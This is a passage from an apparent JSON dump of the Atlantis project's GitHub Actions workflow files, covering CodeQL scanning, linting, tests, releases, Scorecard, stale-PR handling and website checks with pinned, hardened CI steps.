    "content": "# For most projects, this workflow file will not need changing; you simply need\n# to commit it to your repository.\n#\n# You may wish to alter this file to override the set of languages analyzed,\n# or to provide custom queries or build logic.\n#\n# ******** NOTE ********\n# We have attempted to detect the languages in your repository. Please check\n# the `language` matrix defined below to confirm you have the correct set of\n# supported CodeQL languages.\n#\nname: \"CodeQL\"\n\non:\n  push:\n    branches:\n      - 'main'\n      - 'release-**'\n  pull_request:\n    # The branches below must be a subset of the branches above\n    types:\n      - opened\n      - reopened\n      - synchronize\n      - ready_for_review\n    branches:\n      - 'main'\n      - 'release-**'\n\n  schedule:\n    - cron: '17 9 * * 5'\n\npermissions:\n  contents: read\n\njobs:\n  changes:\n    permissions:\n      contents: read  # for dorny/paths-filter to fetch a list of changed files\n      pull-requests: read  # for dorny/paths-filter to read pull requests\n    outputs:\n      should-run-analyze: ${{ github.event_name != 'pull_request' || steps.changes.outputs.src == 'true' }}\n    if: github.event_name != 'pull_request' || github.event.pull_request.draft == false\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n      - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3\n        id: changes\n        with:\n          filters: |\n            src:\n              - '**.go'\n              - '**.js4'\n\n  analyze:\n    needs: [changes]\n    name: Analyze\n    if: github.event.pull_request.draft == false && needs.changes.outputs.should-run-analyze == 'true'\n    runs-on: ubuntu-24.04\n    permissions:\n      actions: read\n      contents: read\n      security-events: write\n\n    strategy:\n      fail-fast: false\n      matrix:\n        language: [ 'go', 'javascript' ]\n        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]\n        # Use only 'java' to analyze code written in Java, Kotlin or both\n        # Use only 'javascript' to analyze code written in JavaScript, TypeScript or both\n        # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support\n\n    steps:\n    - name: Harden Runner\n      uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n      with:\n        egress-policy: audit\n\n    - name: Checkout repository\n      uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n\n    # Initializes the CodeQL tools for scanning.\n    - name: Initialize CodeQL\n      uses: github/codeql-action/init@ebcb5b36ded6beda4ceefea6a8bc4cc885255bb3 # v3\n      with:\n        languages: ${{ matrix.language }}\n        # If you wish to specify custom queries, you can do so here or in a config file.\n        # By default, queries listed here will override any specified in a config file.\n        # Prefix the list here with \"+\" to use these queries and those in the config file.\n\n        # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs\n        # queries: security-extended,security-and-quality\n\n\n    # Autobuild attempts to build any compiled languages  (C/C++, C#, Go, or Java).\n    # If this step fails, then you should remove it and run the build manually (see below)\n    - name: Autobuild\n      uses: github/codeql-action/autobuild@ebcb5b36ded6beda4ceefea6a8bc4cc885255bb3 # v3\n\n    # ℹ️ Command-line programs to run using the OS shell.\n    # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun\n\n    #   If the Autobuild fails above, remove it and uncomment the following three lines.\n    #   modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.\n\n    # - run: |\n    #   echo \"Run, Build Application using script\"\n    #   ./location_of_script_within_repo/buildscript.sh\n\n    - name: Perform CodeQL Analysis\n      uses: github/codeql-action/analyze@ebcb5b36ded6beda4ceefea6a8bc4cc885255bb3 # v3\n      with:\n        category: \"/language:${{matrix.language}}\"\n\n  skip-analyze:\n    needs: [changes]\n    if: needs.changes.outputs.should-run-analyze == 'false'\n    name: Analyze\n    strategy:\n      matrix:\n        language: [ 'go', 'javascript' ]\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - run: 'echo \"No build required\"'\n"
  },
  {
    "path": ".github/workflows/dependency-review.yml",
    "content": "# Dependency Review Action\n#\n# This Action will scan dependency manifest files that change as part of a Pull Request,\n# surfacing known-vulnerable versions of the packages declared or updated in the PR.\n# Once installed, if the workflow run is marked as required,\n# PRs introducing known-vulnerable packages will be blocked from merging.\n#\n# Source repository: https://github.com/actions/dependency-review-action\nname: 'Dependency Review'\non:\n  pull_request:\n    types:\n      - opened\n      - synchronize\n      - reopened\n    branches:\n      - main\n      - release-**\n\npermissions:\n  contents: read\n\njobs:\n  dependency-review:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - name: 'Checkout Repository'\n        uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1\n      - name: 'Dependency Review'\n        uses: actions/dependency-review-action@05fe4576374b728f0c523d6a13d64c25081e0803 # v4.8.3\n"
  },
  {
    "path": ".github/workflows/labeler.yml",
    "content": "name: \"Pull Request Labeler\"\n\non:\n  pull_request_target:\n    types:\n      - opened\n      - reopened\n      - synchronize\n      - ready_for_review\n\npermissions:\n  contents: read\n\njobs:\n  triage:\n    permissions:\n      contents: read\n      pull-requests: write\n    if: github.event.pull_request.draft == false\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5\n"
  },
  {
    "path": ".github/workflows/lint.yml",
    "content": "name: linter\n\non:\n  pull_request:\n    types:\n      - opened\n      - reopened\n      - synchronize\n      - ready_for_review\n    branches:\n      - \"main\"\n      - \"release-**\"\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}\n  cancel-in-progress: true\n\npermissions:\n  # Required: allow read access to the content for analysis.\n  contents: read\n  # Optional: allow read access to pull request. Use with `only-new-issues` option.\n  pull-requests: read\n  # Optional: Allow write access to checks to allow the action to annotate code in the PR.\n  checks: write\n\njobs:\n  changes:\n    outputs:\n      should-run-linting: ${{ steps.changes.outputs.go == 'true' }}\n    if: github.event.pull_request.draft == false\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n      - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3\n        id: changes\n        with:\n          filters: |\n            go:\n              - '**.go'\n              - 'go.*'\n              - '.github/workflows/lint.yml'\n              - '.golangci.yml'\n\n  golangci-lint:\n    needs: [changes]\n    if: github.event.pull_request.draft == false && needs.changes.outputs.should-run-linting == 'true'\n    name: Linting\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n\n      # need to setup go toolchain explicitly\n      - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5\n        with:\n          go-version-file: go.mod\n\n      - name: golangci-lint\n        uses: golangci/golangci-lint-action@1e7e51e771db61008b38414a730f564565cf7c20 # v9\n        with:\n          # renovate: datasource=github-releases depName=golangci/golangci-lint\n          version: v2.7.2\n\n  skip-lint:\n    needs: [changes]\n    if: needs.changes.outputs.should-run-linting == 'false'\n    name: Linting\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - run: 'echo \"No build required\"'\n"
  },
  {
    "path": ".github/workflows/pr-lint.yml",
    "content": "name: \"Lint PR\"\n\non:\n  pull_request_target:\n    types:\n      - opened\n      - edited\n      - synchronize\n\npermissions:\n  pull-requests: read\n\njobs:\n  main:\n    name: Validate PR title\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: amannn/action-semantic-pull-request@48f256284bd46cdaab1048c3721360e808335d50 # v6\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/pr-size-labeler.yml",
    "content": "name: pr-size\n\non: [pull_request]\n\npermissions:\n  contents: read\n\njobs:\n  labeler:\n    permissions:\n      pull-requests: write  # for codelytv/pr-size-labeler to add labels & comment on PRs\n    runs-on: ubuntu-latest\n    name: Label the PR size\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: codelytv/pr-size-labeler@4ec67706cd878fbc1c8db0a5dcd28b6bb412e85a # v1\n        with:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          xs_label: 'size/xs'\n          xs_max_size: '10'\n          s_label: 'size/s'\n          s_max_size: '200'\n          m_label: 'size/m'\n          m_max_size: '1000'\n          l_label: 'size/l'\n          l_max_size: '10000'\n          xl_label: 'size/xl'\n          fail_if_xl: 'false'\n          message_if_xl: >\n            This PR exceeds the recommended size of 1000 lines.\n            Please make sure you are NOT addressing multiple issues with one PR.\n            Note this PR might be rejected due to its size.\n          github_api_url: 'https://api.github.com'\n          files_to_ignore: ''\n"
  },
  {
    "path": ".github/workflows/release.yml",
    "content": "name: release\n\non:\n  push:\n    tags:\n      - v*.*.*\n  workflow_dispatch:\n\npermissions:\n  contents: write  # for goreleaser to create releases and upload release assets\n\njobs:\n  goreleaser:\n    runs-on: ubuntu-24.04\n    steps:\n    - name: Harden Runner\n      uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n      with:\n        egress-policy: audit\n\n    - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n      with:\n        submodules: true\n\n    - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5\n      with:\n        go-version-file: go.mod\n\n    - name: Run GoReleaser for stable release\n      uses: goreleaser/goreleaser-action@ec59f474b9834571250b370d4735c50f8e2d1e29 # v7\n      if: (!contains(github.ref, 'pre'))\n      with:\n        # You can pass flags to goreleaser via GORELEASER_ARGS\n        # --clean will save you deleting the dist dir\n        args: release --clean\n        distribution: goreleaser # or 'goreleaser-pro'\n        version: \"~> v2\" # or 'latest', 'nightly', semver\n      env:\n        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n\n    - name: Generate changelog for pre release\n      if: contains(github.ref, 'pre')\n      id: changelog\n      run: |\n        echo \"RELEASE_TAG=${GITHUB_REF#refs/tags/}\" >> $GITHUB_OUTPUT\n        gh api repos/$GITHUB_REPOSITORY/releases/generate-notes \\\n          -f tag_name=\"${GITHUB_REF#refs/tags/}\" \\\n          -f target_commitish=main \\\n          -q .body > tmp-CHANGELOG.md\n      env:\n        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/renovate-config.yml",
    "content": "name: renovate-config\n\non:\n  push:\n    paths:\n      - '.github/renovate.json5'\n    branches:\n      - main\n      - 'releases-**'\n  pull_request:\n    paths:\n      - '.github/renovate.json5'\n  workflow_dispatch:\n\npermissions:\n  contents: read\n\njobs:\n  validate:\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n      - uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6\n      - run: npx --package=\"renovate@${RENOVATE_VERSION}\" -c renovate-config-validator\n        env:\n          # renovate: datasource=npm depName=renovate\n          RENOVATE_VERSION: 39.68.4\n"
  },
  {
    "path": ".github/workflows/scorecard.yml",
    "content": "name: Scorecard supply-chain security\non:\n  schedule:\n    - cron: '0 5 * * 1'\n  push:\n    branches:\n      - main\n\npermissions: read-all\n\njobs:\n  analysis:\n    name: Scorecard analysis\n    runs-on: ubuntu-latest\n    permissions:\n      # Needed to upload the results to code-scanning dashboard.\n      security-events: write\n      # Needed to publish results and get a badge (see publish_results below).\n      id-token: write\n\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@fa2e9d605c4eeb9fcad4c99c224cee0c6c7f3594 # v2\n        with:\n          egress-policy: audit\n\n      - name: 'Checkout code'\n        uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1\n        with:\n          persist-credentials: false\n          show-progress: false\n\n      - name: 'Run analysis'\n        uses: ossf/scorecard-action@4eaacf0543bb3f2c246792bd56e8cdeffafb205a # v2.4.3\n        with:\n          results_file: results.sarif\n          results_format: sarif\n\n          # Public repositories:\n          #   - Publish results to OpenSSF REST API for easy access by consumers\n          #   - Allows the repository to include the Scorecard badge.\n          #   - See https://github.com/ossf/scorecard-action#publishing-results.\n          # For private repositories:\n          #   - `publish_results` will always be set to `false`, regardless\n          #     of the value entered here.\n          publish_results: true\n\n      # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF\n      # format to the repository Actions tab.\n      - name: 'Upload artifact'\n        uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2\n        with:\n          name: SARIF file\n          path: results.sarif\n          retention-days: 5\n\n      # Upload the results to GitHub's code scanning dashboard.\n      - name: 'Upload to code-scanning'\n        uses: github/codeql-action/upload-sarif@45580472a5bb82c4681c4ac726cfdb60060c2ee1 # v3.32.4\n        with:\n          sarif_file: results.sarif\n"
  },
  {
    "path": ".github/workflows/stale.yml",
    "content": "name: Close Stale PRs\non:\n  schedule:\n    - cron: '30 1 * * *'\npermissions:\n  contents: read\n\njobs:\n  stale:\n    permissions:\n      issues: write  # for actions/stale to close stale issues\n      pull-requests: write  # for actions/stale to close stale PRs\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/stale@b5d41d4e1d5dceea10e7104786b73624c18a190f # v10\n        with:\n          stale-pr-message: 'This issue is stale because it has been open for 1 month with no activity. Remove stale label or comment or this will be closed in 1 month.'\n          stale-issue-message: 'This issue is stale because it has been open for 1 month with no activity. Remove stale label or comment or this will be closed in 1 month.'\n          remove-stale-when-updated: true\n          exempt-pr-labels: \"never-stale\"\n          exempt-issue-labels: \"never-stale\"\n          # 1 month\n          days-before-stale: 31\n          # 1 month\n          days-before-close: 31\n          only-labels: 'waiting-on-response'\n"
  },
  {
    "path": ".github/workflows/test.yml",
    "content": "name: tester\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-**\"\n  pull_request:\n    types:\n      - opened\n      - reopened\n      - synchronize\n      - ready_for_review\n    branches:\n      - \"main\"\n      - \"release-**\"\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}\n  cancel-in-progress: true\n\npermissions:\n  contents: read\n\nenv:\n  TERRAFORM_VERSION: 1.11.1\n  NGROK_DOWNLOAD_URL: https://bin.equinox.io/a/bNzUz3YQtcB/ngrok-v3-3.33.1-linux-amd64.tar.gz\n\njobs:\n  changes:\n    permissions:\n      contents: read  # for dorny/paths-filter to fetch a list of changed files\n      pull-requests: read  # for dorny/paths-filter to read pull requests\n    outputs:\n      should-run-tests: ${{ steps.changes.outputs.go == 'true' }}\n    if: github.event.pull_request.draft == false\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n      - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3\n        id: changes\n        with:\n          filters: |\n            go:\n              - '**.go'\n              - '**.txt' # golden file test output\n              - 'go.*'\n              - '**.tmpl'\n              - '.github/workflows/test.yml'\n  test:\n    needs: [changes]\n    if: needs.changes.outputs.should-run-tests == 'true'\n    name: Tests\n    runs-on: ubuntu-24.04\n    # Use latest testing environment for automatic updates\n    # Previous: ghcr.io/runatlantis/testing-env:latest@sha256:725981e9090c977f8055f5ec5ba7a63430a8f0337ab955978e6b8cc2cd0236c3\n    container: ghcr.io/runatlantis/testing-env:latest@sha256:d1654766a99fa7042c96fcb19da42cee36f042b1ae67f106237e3cbbaf059732\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n\n      # need to setup go toolchain explicitly\n      - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5\n        with:\n          go-version-file: go.mod\n\n      - run: make test-all\n      - run: make check-fmt\n\n      ###########################################################\n      # Notifying #contributors about test failure on main branch\n      ###########################################################\n      - name: Slack failure notification\n        if: ${{ github.ref == 'refs/heads/main' && failure() }}\n        uses: slackapi/slack-github-action@91efab103c0de0a537f72a35f6b8cda0ee76bf0a # v2.1.1\n        with:\n          payload: |\n            {\n              \"blocks\": [\n                {\n                  \"type\": \"section\",\n                  \"text\": {\n                    \"type\": \"mrkdwn\",\n                    \"text\": \":x: Failed GitHub Action:\"\n                  }\n                },\n                {\n                  \"type\": \"section\",\n                  \"fields\": [\n                    {\n                      \"type\": \"mrkdwn\",\n                      \"text\": \"*Workflow:*\\n<${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}|${{ github.workflow }}>\"\n                    },\n                    {\n                      \"type\": \"mrkdwn\",\n                      \"text\": \"*Job:*\\n${{ github.job }}\"\n                    },\n                    {\n                      \"type\": \"mrkdwn\",\n                      \"text\": \"*Repo:*\\n${{ github.repository }}\"\n                    }\n                  ]\n                }\n              ]\n            }\n        env:\n          SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }}\n          SLACK_WEBHOOK_TYPE: INCOMING_WEBHOOK\n\n  skip-test:\n    needs: [changes]\n    if: needs.changes.outputs.should-run-tests == 'false'\n    name: Tests\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - run: 'echo \"No build required\"'\n\n  e2e-github:\n    runs-on: ubuntu-24.04\n    # dont run e2e tests on forked PRs\n    if: github.event.pull_request.head.repo.fork == false\n    env:\n      ATLANTIS_GH_USER: ${{ secrets.ATLANTISBOT_GITHUB_USERNAME }}\n      ATLANTIS_GH_TOKEN: ${{ secrets.ATLANTISBOT_GITHUB_TOKEN }}\n      NGROK_AUTH_TOKEN: ${{ secrets.ATLANTISBOT_NGROK_AUTH_TOKEN }}\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n      - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5\n        with:\n          go-version-file: go.mod\n\n      # This version of TF will be downloaded before Atlantis is started.\n      # We do this instead of setting --default-tf-version because setting\n      # that flag starts the download asynchronously so we'd have a race\n      # condition.\n      - uses: hashicorp/setup-terraform@b9cd54a3c349d3f38e8881555d616ced269862dd # v3\n        with:\n          terraform_version: ${{ env.TERRAFORM_VERSION }}\n\n      - name: Setup ngrok\n        run: |\n          wget -q -O ngrok.tar.gz ${NGROK_DOWNLOAD_URL}\n          tar -xzf ngrok.tar.gz\n          chmod +x ngrok\n          ./ngrok version\n      - name: Setup gitconfig\n        run: |\n          git config --global user.email \"maintainers@runatlantis.io\"\n          git config --global user.name \"atlantisbot\"\n\n      - run: |\n          make build-service\n          ./scripts/e2e.sh\n  e2e-gitlab:\n    runs-on: ubuntu-24.04\n    # dont run e2e tests on forked PRs\n    if: github.event.pull_request.head.repo.fork == false\n    env:\n      ATLANTIS_GITLAB_USER: ${{ secrets.ATLANTISBOT_GITLAB_USERNAME }}\n      ATLANTIS_GITLAB_TOKEN: ${{ secrets.ATLANTISBOT_GITLAB_TOKEN }}\n      NGROK_AUTH_TOKEN: ${{ secrets.ATLANTISBOT_NGROK_AUTH_TOKEN }}\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n      - uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5\n        with:\n          go-version-file: go.mod\n\n      # This version of TF will be downloaded before Atlantis is started.\n      # We do this instead of setting --default-tf-version because setting\n      # that flag starts the download asynchronously so we'd have a race\n      # condition.\n      - uses: hashicorp/setup-terraform@b9cd54a3c349d3f38e8881555d616ced269862dd # v3\n        with:\n          terraform_version: ${{ env.TERRAFORM_VERSION }}\n\n      - name: Setup ngrok\n        run: |\n          wget -q -O ngrok.tar.gz ${NGROK_DOWNLOAD_URL}\n          tar -xzf ngrok.tar.gz\n          chmod +x ngrok\n          ./ngrok version\n      - name: Setup gitconfig\n        run: |\n          git config --global user.email \"maintainers@runatlantis.io\"\n          git config --global user.name \"atlantisbot\"\n\n      - run: |\n          make build-service\n          ./scripts/e2e.sh\n"
  },
  {
    "path": ".github/workflows/testing-env-image.yml",
    "content": "name: testing-env-image\n\non:\n  push:\n    branches:\n      - 'main'\n      - 'release-**'\n  pull_request:\n    branches:\n      - 'main'\n      - 'release-**'\n  workflow_dispatch:\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}\n  cancel-in-progress: true\n\npermissions:\n  contents: read\n\njobs:\n  changes:\n    permissions:\n      contents: read  # for dorny/paths-filter to fetch a list of changed files\n      pull-requests: read  # for dorny/paths-filter to read pull requests\n    outputs:\n      should-run-build: ${{ steps.changes.outputs.src == 'true' }}\n    if: github.event.pull_request.draft == false\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n      - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3\n        id: changes\n        with:\n          filters: |\n            src:\n              - 'testing/**'\n              - '.github/workflows/testing-env-image.yml'\n\n  build:\n    needs: [changes]\n    if: needs.changes.outputs.should-run-build == 'true'\n    name: Build Testing Env Image\n    runs-on: ubuntu-24.04\n    permissions:\n      packages: write # for ghcr.io push\n    steps:\n    - name: Harden Runner\n      uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n      with:\n        egress-policy: audit\n\n    - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n\n    - name: Set up QEMU\n      uses: docker/setup-qemu-action@c7c53464625b32c7a7e944ae62b3e17d2b600130 # v3\n      with:\n        image: tonistiigi/binfmt:qemu-v10.2.1@sha256:d3b963f787999e6c0219a48dba02978769286ff61a5f4d26245cb6a6e5567ea3\n        platforms: arm64,arm\n\n    - name: Set up Docker Buildx\n      uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3\n\n    - name: Login to Packages Container registry\n      uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3\n      with:\n        registry: ghcr.io\n        username: ${{ github.actor }}\n        password: ${{ secrets.GITHUB_TOKEN }}\n\n    - run: echo \"TODAY=$(date +\"%Y.%m.%d\")\" >> $GITHUB_ENV\n    - name: Build and push testing-env:${{env.TODAY}} image\n      uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6\n      with:\n        cache-from: type=gha\n        cache-to: type=gha,mode=max\n        context: testing\n        platforms: linux/arm64/v8,linux/amd64,linux/arm/v7\n        push: ${{ github.event_name != 'pull_request' }}\n        tags: |\n           ghcr.io/runatlantis/testing-env:${{env.TODAY}}\n           ghcr.io/runatlantis/testing-env:latest\n\n  skip-build:\n    needs: [changes]\n    if: needs.changes.outputs.should-run-build == 'false'\n    name: Build Testing Env Image\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - run: 'echo \"No build required\"'\n"
  },
  {
    "path": ".github/workflows/website.yml",
    "content": "name: website\n\non:\n  push:\n    branches:\n      - 'main'\n      - 'release-**'\n  pull_request:\n    types:\n      - opened\n      - reopened\n      - synchronize\n      - ready_for_review\n    branches:\n      - 'main'\n      - 'release-**'\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}\n  cancel-in-progress: true\n\npermissions:\n  # Required: allow read access to the content for analysis.\n  contents: read\n\njobs:\n  changes:\n    outputs:\n      should-run-website-check: ${{ steps.changes.outputs.src == 'true' }}\n    if: github.event.pull_request.draft == false\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n      - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3\n        id: changes\n        with:\n          filters: |\n            src:\n              - 'runatlantis.io/**'\n              - 'package-lock.json'\n              - 'package.json'\n              - '.github/workflows/website.yml'\n              - '.vale.ini'\n              - '_typos.toml'\n              - '.github/styles/**'\n\n  # Check that the website builds and there's no missing links.\n  website-check:\n    needs: [changes]\n    if: github.event.pull_request.draft == false && needs.changes.outputs.should-run-website-check == 'true'\n    name: Website Check\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n\n      - name: Spell check\n        uses: crate-ci/typos@57b11c6b7e54c402ccd9cda953f1072ec4f78e33 # v1.43.5\n        with:\n          files: ./runatlantis.io/docs\n\n      - name: Vale prose linting\n        run: |\n          VALE_VERSION=\"3.9.4\"\n          VALE_TARBALL=\"vale_${VALE_VERSION}_Linux_64-bit.tar.gz\"\n          curl -sLO \"https://github.com/errata-ai/vale/releases/download/v${VALE_VERSION}/${VALE_TARBALL}\"\n          echo \"551f7ef5cabd53affb7b2c8bdbd4cfb6216270d53c4d6e571a567c5b5df0921d  ${VALE_TARBALL}\" | sha256sum --check\n          tar xz -C /tmp vale -f \"${VALE_TARBALL}\"\n          rm \"${VALE_TARBALL}\"\n          # api-endpoints.md intentionally uses \"Github\"/\"Gitlab\" as literal API\n          # string values matching the Go source code constants; exclude it here.\n          /tmp/vale --glob='!*api-endpoints.md' runatlantis.io/docs/\n\n      - name: markdown-lint\n        uses: DavidAnson/markdownlint-cli2-action@05f32210e84442804257b2a6f20b273450ec8265 # v19\n        with:\n          config: .markdownlint.yaml\n          globs: 'runatlantis.io/**/*.md'\n\n      - name: Link Checker\n        id: lychee\n        uses: lycheeverse/lychee-action@a8c4c7cb88f0c7386610c35eb25108e448569cb0 # v2.7.0\n        with:\n          args: >-\n            --verbose\n            --no-progress\n            --max-concurrency 5\n            --max-retries 0\n            --accept 200,429\n            ./runatlantis.io\n\n      - name: setup npm\n        uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6\n        with:\n          cache: 'npm'\n\n      - name: run http-server\n        run: |\n          # build site\n          npm install\n          npm run website:build\n\n          # start http-server for integration testing\n          npx http-server runatlantis.io/.vitepress/dist &\n\n      - name: Run Playwright E2E tests\n        run: |\n          npx playwright install --with-deps\n          npm run e2e\n\n  skip-website-check:\n    needs: [changes]\n    if: needs.changes.outputs.should-run-website-check == 'false'\n    name: Website Check\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - run: 'echo \"No build required\"'\n"
  },
  {
    "path": ".gitignore",
